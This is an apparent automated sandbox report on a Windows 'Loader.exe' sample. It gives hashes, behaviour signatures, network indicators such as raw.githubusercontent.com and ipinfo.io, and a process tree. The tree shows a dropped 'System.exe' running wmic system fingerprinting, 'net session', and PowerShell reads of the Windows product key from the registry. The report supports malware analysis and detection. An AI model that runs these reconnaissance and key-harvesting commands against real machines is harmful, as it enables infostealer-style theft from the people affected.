1bec59ae5dc530ec12c1bc8c2dfecd7ef54c9061883153f3658784a43e142464

Resubmissions

15/03/2024, 18:57

240315-xlx7taac98 7

Analysis

max time kernel
11s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
15/03/2024, 18:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

Loader.exe
Size

81.5MB
MD5

33b0802c9a2a087744f2e5d447e23c55
SHA1

feeb964c052aaf1ca39364217b336d8934901657
SHA256

af277117f93fbe518b20b27504d9607df8389027daa848178dcf24355b33bd82
SHA512

6319912cf946a66bd90c414f7fc7773a72d9f5fa4a0e651c3c06833b6573290d2ed2cb9990886720509625375a1d4f8ac88c88596753b96d94ab288e00f6c778
SSDEEP

1572864:V/WHHr9kDJDEMtDY9TkfCtURGvz3yzPgxTTB0KHP4KkqWTEB7CX7:V/8L9wDEMDmTkHRG73GEHwNqWTEB7CX7

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
224	System.exe

Loads dropped DLL 4 IoCs

pid	Process
2340	Loader.exe
2340	Loader.exe
2340	Loader.exe
224	System.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs

Web Service

T1102

flow	ioc
99	raw.githubusercontent.com
101	raw.githubusercontent.com
102	raw.githubusercontent.com
103	raw.githubusercontent.com
110	raw.githubusercontent.com
116	raw.githubusercontent.com
120	raw.githubusercontent.com
94	raw.githubusercontent.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
59	ipinfo.io
60	ipinfo.io

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
11576	WMIC.exe

Enumerates processes with tasklist 1 TTPs 64 IoCs

Process Discovery

T1057

pid	Process
8212	tasklist.exe
8060	tasklist.exe
8832	tasklist.exe
8636	tasklist.exe
8708	tasklist.exe
8604	tasklist.exe
8592	tasklist.exe
8580	tasklist.exe
8028	tasklist.exe
9288	tasklist.exe
8948	tasklist.exe
8132	tasklist.exe
8116	tasklist.exe
8940	tasklist.exe
8204	tasklist.exe
8244	tasklist.exe
8220	tasklist.exe
8076	tasklist.exe
8472	tasklist.exe
8444	tasklist.exe
8588	tasklist.exe
8268	tasklist.exe
8108	tasklist.exe
8092	tasklist.exe
7896	tasklist.exe
9060	tasklist.exe
9012	tasklist.exe
8876	tasklist.exe
8852	tasklist.exe
8348	tasklist.exe
8252	tasklist.exe
8012	tasklist.exe
9164	tasklist.exe
9080	tasklist.exe
8620	tasklist.exe
8492	tasklist.exe
4132	tasklist.exe
8040	tasklist.exe
8760	tasklist.exe
8676	tasklist.exe
9040	tasklist.exe
8668	tasklist.exe
8628	tasklist.exe
8460	tasklist.exe
8432	tasklist.exe
8228	tasklist.exe
8892	tasklist.exe
9032	tasklist.exe
8100	tasklist.exe
8572	tasklist.exe
8156	tasklist.exe
9072	tasklist.exe
8864	tasklist.exe
8236	tasklist.exe
8084	tasklist.exe
6432	tasklist.exe
8556	tasklist.exe
8380	tasklist.exe
8768	tasklist.exe
8356	tasklist.exe
8328	tasklist.exe
8320	tasklist.exe
9156	tasklist.exe
9024	tasklist.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeSecurityPrivilege	2340	Loader.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2340 wrote to memory of 224	2340	Loader.exe	99
PID 2340 wrote to memory of 224	2340	Loader.exe	99

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
9036	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Loader.exe
"C:\Users\Admin\AppData\Local\Temp\Loader.exe"
1⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2340
- C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\System.exe
  C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\System.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4012
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:1344
- - C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\System.exe
    "C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\System.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\megamindnva" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1696 --field-trial-handle=1700,i,12238517845972717076,7081661105680796948,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
    3⤵
    PID:4452
- - C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\System.exe
    "C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\System.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\megamindnva" --mojo-platform-channel-handle=2296 --field-trial-handle=1700,i,12238517845972717076,7081661105680796948,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
    3⤵
    PID:1636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic process where processid=NaN get ExecutablePath"
    3⤵
    PID:2456
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where processid=NaN get ExecutablePath
      4⤵
      PID:1888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4848
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2584
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1068
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1812
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2328
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:648
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3232
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3972
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3908
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:7896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1600
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3464
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4600
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8432
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3592
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1440
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1588
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1436
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1780
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1148
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4272
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3256
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3608
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3220
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1828
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1716
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2620
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1340
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5052
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3092
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4004
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:4132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2632
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1680
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2796
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3964
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2960
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:372
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8676
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4740
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:412
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4384
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5032
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3496
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3016
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5132
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5164
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5172
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:7788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5180
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:9032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5196
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5212
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5228
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5252
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5264
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:9040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5276
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5288
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5308
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5332
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5364
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:9080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5388
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5404
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8744
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5416
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5432
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:9628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5448
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5464
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5484
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5528
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:9180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5548
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5568
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5584
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:9060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5600
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5608
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:9288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5616
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:9072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5640
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5660
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5692
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5712
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5728
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5748
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:9012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5764
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5788
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5796
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:9024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5812
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5824
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5832
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5860
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5872
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5896
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5904
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5920
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5944
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5964
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:9164
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5980
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:9156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6004
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6024
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6048
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    PID:6068
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:9308
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:10212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\resources\app.asar.unpacked\bind\main.exe"
    3⤵
    PID:6088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
    3⤵
    PID:6108
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:8276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic OS get caption, osarchitecture | more +1"
    3⤵
    PID:6128
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic OS get caption, osarchitecture
      4⤵
      PID:9172
  - - C:\Windows\system32\more.com
      more +1
      4⤵
      PID:9556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic cpu get name | more +1"
    3⤵
    PID:11432
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic cpu get name
      4⤵
      PID:11472
  - - C:\Windows\system32\more.com
      more +1
      4⤵
      PID:11480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic PATH Win32_VideoController get name | more +1"
    3⤵
    PID:11536
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic PATH Win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:11576
  - - C:\Windows\system32\more.com
      more +1
      4⤵
      PID:11584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:11632
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      PID:11672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion' -Name ProductName"
    3⤵
    PID:11828
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion' -Name ProductName
      4⤵
      PID:11868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:12036
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:12076
- - C:\Windows\system32\cmd.exe
